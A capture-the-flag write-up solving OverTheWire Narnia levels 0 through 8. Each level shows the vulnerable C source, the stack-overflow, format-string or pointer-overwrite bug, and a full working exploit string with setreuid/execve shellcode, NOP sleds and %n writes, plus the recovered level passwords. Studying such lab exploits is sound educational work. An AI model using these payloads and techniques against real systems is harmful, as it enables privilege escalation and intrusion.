Narnia 0
In /narnia/narnia0.c
we can find the source code of /narnia/narnia0
#include <stdio.h>
#include <stdlib.h>
int main(){
long val=0x41414141;
char buf[20];
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
if(val==0xdeadbeef){
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
else {
printf("WAY OFF!!!!\n");
exit(1);
}
return 0;
}
And it's a simple stack overflow bug because buf
only has 20 bytes and
scanf
will read 24 bytes into where buf
starts. And the extra 4 bytes
will overwrite the value in val
.
Therefore, we can do a oneliner as follows to get shell
ssh -p 2226 narnia0@narnia.labs.overthewire.org bash -c "\"(echo -e 'AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde' && cat) | /narnia/narnia0\""
As a sidenote, thanks to peachoolong-uwu who told me that I can embed
echo -e 'AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde'
inside a pair of parentheses and add&& cat
to keep the stdin steam open.
Now once we type the password of narnia0, /narnia/narnia0
will send us to
a sub-shell and we should be narnia1
in this new shell.
To get the password of user narnia1
, we simply type
cat /etc/narnia_pass/narnia1
and press return.
Narnia 1
Now we have the password to log in to narnia1
, we can find its source code
at /narnia/narnia1.c
.
#include <stdio.h>
int main(){
int (*ret)();
if(getenv("EGG")==NULL){
printf("Give me something to execute at the env-variable EGG\n");
exit(1);
}
printf("Trying to execute EGG!\n");
ret = getenv("EGG");
ret();
return 0;
}
ret
is a function pointer, so once we get the value of the environment
variable, EGG
, it will be assigned to ret
.
And calling ret()
will be effeectively jump to the position of the result of
getenv("EGG")
, it will execute whatever instruction
we set in the env var EGG
.
Therefore, we can craft some shellcode and get shell.
$ pwn shellcraft -f d setreuid
\x6a\x31\x58\xcd\x80\x89\xc3\x6a\x46\x58\x89\xd9\xcd\x80
$ pwn shellcraft -f d sh
\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a\x04\x59\x01\xe1\x51\x89\xe1\x31\xd2\x6a\x0b\x58\xcd\x80
Or you can use my fork of pwntools which supports multiple shellcraft commands, cocoa-xu/pwntools:cx-multi-shellcraft-cmd.
$ pwn shellcraft -f d setreuid + sh
\x6a\x31\x58\xcd\x80\x89\xc3\x6a\x46\x58\x89\xd9\xcd\x80\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a\x04\x59\x01\xe1\x51\x89\xe1\x31\xd2\x6a\x0b\x58\xcd\x80
So we can do this to get shell and gat the password for user narnia2
.
EGG=`echo -e '\x6a\x31\x58\xcd\x80\x89\xc3\x6a\x46\x58\x89\xd9\xcd\x80\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a\x04\x59\x01\xe1\x51\x89\xe1\x31\xd2\x6a\x0b\x58\xcd\x80'` /narnia/narnia1
$ cat /etc/narnia_pass/narnia2
Narnia 2
As always, we can find the source code for narnia2 in /narnia/narnia2.c
.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char * argv[]){
char buf[128];
if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
strcpy(buf,argv[1]);
printf("%s", buf);
return 0;
}
Obviously, strcpy
is not a safe function as it will copy everything into
buf
until it encounters the first NULL
, i.e., \x00
. So this is still a
commonly seen stack overflow bug, and it will us to control the program when
exploit properly.
This time we need to know a little bit about x86 stack layout. In this example
the compiler allocated 128 bytes on stack for char buf[128]
, and 4 bytes
above sits our %ebp
register, and 4 more bytes above sits our %eip
register. The value in the %ebp
register pointers to the base address of the
previous frame, while %eip
stores the return address where we'll jump to
when we return from the current function.
Let's name the string we pass to the program as ARG
, then based on what we
already know above, we can pass in an address at ARG[132:136]
, say
\x10\x20\x7c\xff
then the program will jump to 0xff7c2010
after returning
from main
, and it will try to execute whatever instructions from
0xff7c2010
.
And of course, the instruction we'd like it to execute is setreuid(0, 0)
and system("/bin/sh")
. So again we can get that shellcode with the following
code.
$ pwn shellcraft -f d setreuid + sh
\x6a\x31\x58\xcd\x80\x89\xc3\x6a\x46\x58\x89\xd9\xcd\x80\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a\x04\x59\x01\xe1\x51\x89\xe1\x31\xd2\x6a\x0b\x58\xcd\x80
Now the question becomes which address should we put at ARG[132:136]
. To find
that value, we can first write our shellcode:
$( \
python3 -c "print('A'*132, end='')" && \
echo -e '\xef\xbe\xad\xde' && \
echo -e '\x6a\x31\x58\xcd\x80\x89\xc3\x6a\x46\x58\x89\xd9\xcd\x80\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a\x04\x59\x01\xe1\x51\x89\xe1\x31\xd2\x6a\x0b\x58\xcd\x80' \
)
Then we can use gef
to get an approximate address of where should we jump.
$ gef /narnia/narnia2
gef➤ r $ARG
If everything goes according to the plan, we should see it segfault now.
Now we can use nop sled to guide the program to our shellcode, and after some trials and errors, the following code can do it.
$ /tmp/noenv /narnia/narnia2 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x20\xdd\xff\xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x6a\x31\x58\xcd\x80\x89\xc3\x6a\x46\x58\x89\xd9\xcd\x80\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a\x04\x59\x01\xe1\x51\x89\xe1\x31\xd2\x6a\x0b\x58\xcd\x80'
where /tmp/noenv
is a helper program which I wrote that passes no environment
variables to a program because env vars can also effect the variable addresses
on stack.
The source code of noenv is quite straightforward:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int is_valid_hex(char h, char * b) {
if ('0' <= h && h <= '9') {
*b = h - '0';
return 1;
} else if ('a' <= h && h <= 'f') {
*b = h - 'a' + 0xa;
return 1;
} else if ('A' <= h && h <= 'F') {
*b = h - 'a' + 0xa;
return 1;
}
return 0;
}
int hex2byte(char hi, char lo, char * byte) {
char h, l;
if (is_valid_hex(hi, &h) && is_valid_hex(lo, &l)) {
*byte = h << 4 | l;
return 1;
}
return 0;
}
char * argvdup(const char * src) {
if (src == NULL) return NULL;
size_t len = strlen(src);
size_t i = 0;
size_t j = 0;
char * res = (char *)malloc(sizeof(char) * len);
while (i < len) {
if (src[i] == '\\' && src[i + 1] == 'x' && i + 3 < len) {
char c;
if (hex2byte(src[i + 2], src[i + 3], &c)) {
res[j] = c;
i += 3;
} else {
res[j] = src[i];
}
} else {
res[j] = src[i];
}
j++;
i++;
}
res[j] = '\0';
return res;
}
int main(int argc, char *const argv[]) {
if (argc > 1) {
char ** my_argv = (char **)malloc(sizeof(char *) * (argc - 1));
for (int i = 1; i < argc; i++) {
my_argv[i - 1] = argvdup(argv[i]);
printf("[+] copying argv[%d], len=%lu\r\n", i - 1, strlen(my_argv[i - 1]));
}
my_argv[argc - 1] = NULL;
char ** my_envp = (char **)malloc(sizeof(char *));
my_envp[0] = NULL;
printf("[+] execute %s\r\n", argv[1]);
execve(argv[1], my_argv, my_envp);
}
}
Narnia 3
The source code of narnia 3 goes below.
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int ifd, ofd;
char ofile[16] = "/dev/null";
char ifile[32];
char buf[32];
if(argc != 2){
printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
exit(-1);
}
/* open files */
strcpy(ifile, argv[1]);
if((ofd = open(ofile,O_RDWR)) < 0 ){
printf("error opening %s\n", ofile);
exit(-1);
}
if((ifd = open(ifile, O_RDONLY)) < 0 ){
printf("error opening %s\n", ifile);
exit(-1);
}
/* copy from file1 to file2 */
read(ifd, buf, sizeof(buf)-1);
write(ofd,buf, sizeof(buf)-1);
printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);
/* close 'em */
close(ifd);
close(ofd);
exit(1);
}
As we can see, this program uses strcpy
to copy the path to ifile
, which
is an unsafe function. Therefore we can overflow ifile
and overwrite the
string content stored in ofile
.
The basic idea is
-
to find a way that let
ifile
point to/etc/narnia_pass/narnia4
-
overwrite the content of
ofile
to somewhere we have read/write access
Note that after overflowing ifile
, ifile
will share the null-terminator
with ofile
, i.e., if we pass /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/narnia4
to /narnia/narnia3
, then ifile
will be
/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/narnia4
while ofile
is /tmp/narnia4
.
Since ifile
will be /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/narnia4
, we can
make it a soft link to /etc/narnia_pass/narnia4
.
$ touch /tmp/narnia4
$ mkdir -p /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp
$ ln -s /etc/narnia_pass/narnia4 /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/narnia4
$ /narnia/narnia3 /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/narnia4
copied contents of /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/narnia4 to a safer place... (/tmp/narnia4)
$ cat /tmp/narnia4
aKNxxrpDc1
Narnia 4
As usual, we can find the source code of narnia 4 in /narnia/narnia4.c
.
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
extern char **environ;
int main(int argc,char **argv){
int i;
char buffer[256];
for(i = 0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
if(argc>1)
strcpy(buffer,argv[1]);
return 0;
}
And this is another typical stack overflow issue which would allows attackers to take control of the program.
So we first fill in 256 bytes, and then it will overwrite variable i
,
(256:256+4), %ebp
(256+4:256+8) and %eip
(256+8:256+12). Therefore, we
should pass 256+8=264 A
first, and then pass in the address where we'd like
it to jump to.
And thanks to shinohara-rin for teaching me how to use ltrace! Using ltrace we can trace all function calls to libc.
Let's test it with 264 A
s + 0xdeadbeef
+ nop sled + shellcode
(setreuid(0,0)
+ sh
) first.
$ ltrace /narnia/narnia4 `echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x6a\x31\x58\xcd\x80\x89\xc3\x6a\x46\x58\x89\xd9\xcd\x80\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a\x04\x59\x01\xe1\x51\x89\xe1\x31\xd2\x6a\x0b\x58\xcd\x80'`
__libc_start_main(0x8049196, 2, 0xffffd4b4, 0 <unfinished ...>
strlen("SHELL=/bin/bash") = 15
memset(0xffffd719, '\0', 15) = 0xffffd719
strlen("PWD=/home/narnia4") = 17
...
memset(0xffffdfc2, '\0', 19) = 0xffffdfc2
strlen("_=/usr/bin/ltrace") = 17
memset(0xffffdfd6, '\0', 17) = 0xffffdfd6
strcpy(0xffffd234, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 0xffffd2f4
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
And we can see that in my trial, buffer
begins at 0xffffd234
. So now we can
modify the address to 0xffffd234+264 = 0xffffd33c
and we round it
up to 0xffffd340
$ /narnia/narnia4 `echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x6a\x31\x58\xcd\x80\x89\xc3\x6a\x46\x58\x89\xd9\xcd\x80\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a\x04\x59\x01\xe1\x51\x89\xe1\x31\xd2\x6a\x0b\x58\xcd\x80'`
$ cat /etc/narnia_pass/narnia5
1oCoEkRJSB
Narnia 5
Below goes the source code for narnia 5.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int i = 1;
char buffer[64];
snprintf(buffer, sizeof buffer, argv[1]);
buffer[sizeof (buffer) - 1] = 0;
printf("Change i's value from 1 -> 500. ");
if(i==500){
printf("GOOD\n");
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
printf("No way...let me give you a hint!\n");
printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
printf ("i = %d (%p)\n", i, &i);
return 0;
}
And we can spot that the first argument of snprintf
, buffer
, which serves
as the template/format string, is acutally user-controllable because this
program prints argv[1]
into buffer
.
There is an infamous behaviour in snprintf
, %n
, which writes how many bytes
it have written to the string. And of course we will take advantage of that to
capture the flag.
Another default behaviour in snprintf
is that if you specify something like
%100s
to get a string that contains 100 characters and your stdin has EOF'ed,
then snprintf
will fill in (space) for you.
So the idea will be that we let snprintf
to write 500 bytes and then write
%n
exactly at i
's address. Let's find out i
's address first!
$ /narnia/narnia5
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [] (0)
i = 1 (0xffffd4f0)
And lastly, we should write i
's address at the beginning of argv[1]
, in
binary of course. So it would be
$ /narnia/narnia5 `echo -e '\xf0\xd4\xff\xff'`
and now snprintf
will have read 4 bytes into buffer, so we can append %496s
$ /narnia/narnia5 `echo -e '\xf0\xd4\xff\xff%496s'`
After that, we should specify which location to write for the %n
, and its
syntax is something like %1$n
, which means write the number of bytes
that currently read to the location of argument 1.
$ /narnia/narnia5 `echo -e '\xf0\xd4\xff\xff%496s%1$n'`
Also note that passing arguments to a program will effect the address of all variables on the stack.
So we make a last minor correction to get the current location of variable i
and everything will be set.
$ /narnia/narnia5 `echo -e '\xe0\xd4\xff\xff%496s%1$n'`
Change i's value from 1 -> 500. GOOD
$ cat /etc/narnia_pass/narnia6
BAV0SUV0iM
Narnia 6
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
extern char **environ;
// tired of fixing values...
// - morla
unsigned long get_sp(void) {
__asm__("movl %esp,%eax\n\t"
"and $0xff000000, %eax"
);
}
int main(int argc, char *argv[]){
char b1[8], b2[8];
int (*fp)(char *)=(int(*)(char *))&puts, i;
if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }
/* clear environ */
for(i=0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
/* clear argz */
for(i=3; argv[i] != NULL; i++)
memset(argv[i], '\0', strlen(argv[i]));
strcpy(b1,argv[1]);
strcpy(b2,argv[2]);
//if(((unsigned long)fp & 0xff000000) == 0xff000000)
if(((unsigned long)fp & 0xff000000) == get_sp())
exit(-1);
setreuid(geteuid(),geteuid());
fp(b1);
exit(1);
}
Narnia 6 may seem to be hard at first glance but it actually quite simple
because the variable fp
on the stack sits above b1
and b2
.
And since we can control the value in b1
and b2
, as well as overflow the
stack as the program uses strcpy
to set the content for b1
and b2
, we
can do the following steps to capture the flag:
-
find the address of
system
-
overflow
b1
so thatfp
points tosystem
instead ofputs
-
overflow
b2
to setb1
to/bin/sh
And now once the program executes fp(b1)
, it will actually do
system("/bin/sh")
, and everything is done.
To get the address of system
, we can use gdb
, break at main
and let it
run the program. Once the program is running, it will load functions in libc,
and now we can print the addres of system
, which is 0xf7c48150
.
$ /narnia/narnia6 `echo -e 'AAAAAAAA\x50\x81\xc4\xf7'` AAAAAAAA/bin/sh
$ cat /etc/narnia_pass/narnia7
YY4F9UaB60
Narnia 7
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int goodfunction();
int hackedfunction();
int vuln(const char *format){
char buffer[128];
int (*ptrf)();
memset(buffer, 0, sizeof(buffer));
printf("goodfunction() = %p\n", goodfunction);
printf("hackedfunction() = %p\n\n", hackedfunction);
ptrf = goodfunction;
printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);
printf("I guess you want to come to the hackedfunction...\n");
sleep(2);
ptrf = goodfunction;
snprintf(buffer, sizeof buffer, format);
return ptrf();
}
int main(int argc, char **argv){
if (argc <= 1){
fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
exit(-1);
}
exit(vuln(argv[1]));
}
int goodfunction(){
printf("Welcome to the goodfunction, but i said the Hackedfunction..\n");
fflush(stdout);
return 0;
}
int hackedfunction(){
printf("Way to go!!!!");
fflush(stdout);
setreuid(geteuid(),geteuid());
system("/bin/sh");
return 0;
}
Narnia 7 is basically the same as narnia 5. We'll exploit snprintf
again to
change the value of ptrf
to the address of hackedfunction
.
Let's have a quick test to see these addresses.
$ /narnia/narnia7 test
goodfunction() = 0x80492fa
hackedfunction() = 0x804931f
before : ptrf() = 0x80492fa (0xffffd468)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..
We can see that higher two bytes of the addresses of goodfunction
and
hackedfunction
are the same, so we can just change the lower two bytes in
ptrf
from 0x92fa
to 0x931f
.
In order to do so, we can use %hhn
to write the low 1 byte of %n
to the
target address.
So the first part of our exploit string should be
`echo -e '\x68\xd4\xff\xff\x69\xd4\xff\xff'`
which specifies the addresses of the lower two bytes of ptrf
. And now
snprintf
will have written 8 bytes, and to get 0x1f
we need an extra
23 bytes, so we can write %23c
, and \x68\xd4\xff\xff
will be the second
arg to snprintf
. Hence we write %2$hhn
.
`echo -e '\x68\xd4\xff\xff\x69\xd4\xff\xff23c%2$hhn'`
Similarly, we can calculate the number of bytes we need to get 0x93
, and the
result would be
`echo -e '\x68\xd4\xff\xff\x69\xd4\xff\xff23c%2$hhn%116c%3$hhn'`
However, notice that arguments passed to a program will also effect the positions of stack variables, so we need some minor changes to make it right.
$ /narnia/narnia7 `echo -e '\x48\xd4\xff\xff\x49\xd4\xff\xff%23c%2$hhn%116c%3$hhn'`
goodfunction() = 0x80492fa
hackedfunction() = 0x804931f
before : ptrf() = 0x80492fa (0xffffd448)
I guess you want to come to the hackedfunction...
Way to go!!!!$ cat /etc/narnia_pass/narnia8
1aBcDgPttG
Narnia 8
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc's variable reordering fucked things up
// to keep the level in its old style i am
// making "i" global until i find a fix
// -morla
int i;
void func(char *b){
char *blah=b;
char bok[20];
//int i=0;
memset(bok, '\0', sizeof(bok));
for(i=0; blah[i] != '\0'; i++)
bok[i]=blah[i];
printf("%s\n",bok);
}
int main(int argc, char **argv){
if(argc > 1)
func(argv[1]);
else
printf("%s argument\n", argv[0]);
return 0;
}
For this program, we can first pass in 20 A
's to get the stack address of
blah
, i.e., b
or argv[1]
.
$ /tmp/noenv /narnia/narnia8 AAAAAAAAAAAAAAAAAAAA | tail -c+21 | hexdump -n 4 -v -e '16/1 "%02x" "\n"'
d3dfffff
So argv[1]
will sit at 0xfffffdfd3
, and if we add one more character,
the address of argv[1]
will decrease by 1.
Since the template of our exploit string is
AAAAAAAAAAAAAAAAAAAA + addr(argv[1]) + BBBB + 'addr(argv[1]) + 32' + shellcode(setreuid + sh)
And their lengths are listed below
Description | Content | Bytes |
---|---|---|
Padding 1 | 'A' * 20 | 20 |
addr(argv[1]) |
0x-------- |
4 |
Padding 2 | 'B' * 4 | 4 |
addr(argv[1]) + 32 |
0x-------- |
4 |
Shellcode |
setreuid + sh |
58 |
We can calculate the start address of argv[1]
by
>>> hex(0xffffdfd3 - 4 - 4 - 4 - 58)
'0xffffdf8d'
and addr(argv[1]) + 32
will be 0xffffdf8d + 32 = 0xffffdfad
Therefore, the final exploit string is:
$ /tmp/noenv /narnia/narnia8 'AAAAAAAAAAAAAAAAAAAA\x8d\xdf\xff\xffBBBB\xad\xdf\xff\xff\x6a\x31\x58\xcd\x80\x89\xc3\x6a\x46\x58\x89\xd9\xcd\x80\x6a\x68\x68\x2f\x2f\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x68\x01\x01\x01\x01\x81\x34\x24\x72\x69\x01\x01\x31\xc9\x51\x6a\x04\x59\x01\xe1\x51\x89\xe1\x31\xd2\x6a\x0b\x58\xcd\x80'
[+] copying argv[0], len=15
[+] copying argv[1], len=90
[+] execute /narnia/narnia8
AAAAAAAAAAAAAAAAAAAA����BBBB����j1X̀��jFX��̀jhh///sh/bin��h�4$ri1�QjY�Q��1�j
X̀��k
ځ{aH�
$ cat /etc/narnia_pass/narnia9
eRfb1uJaeO
And now we have done all available narnia quizzes~ (as of writiing this post)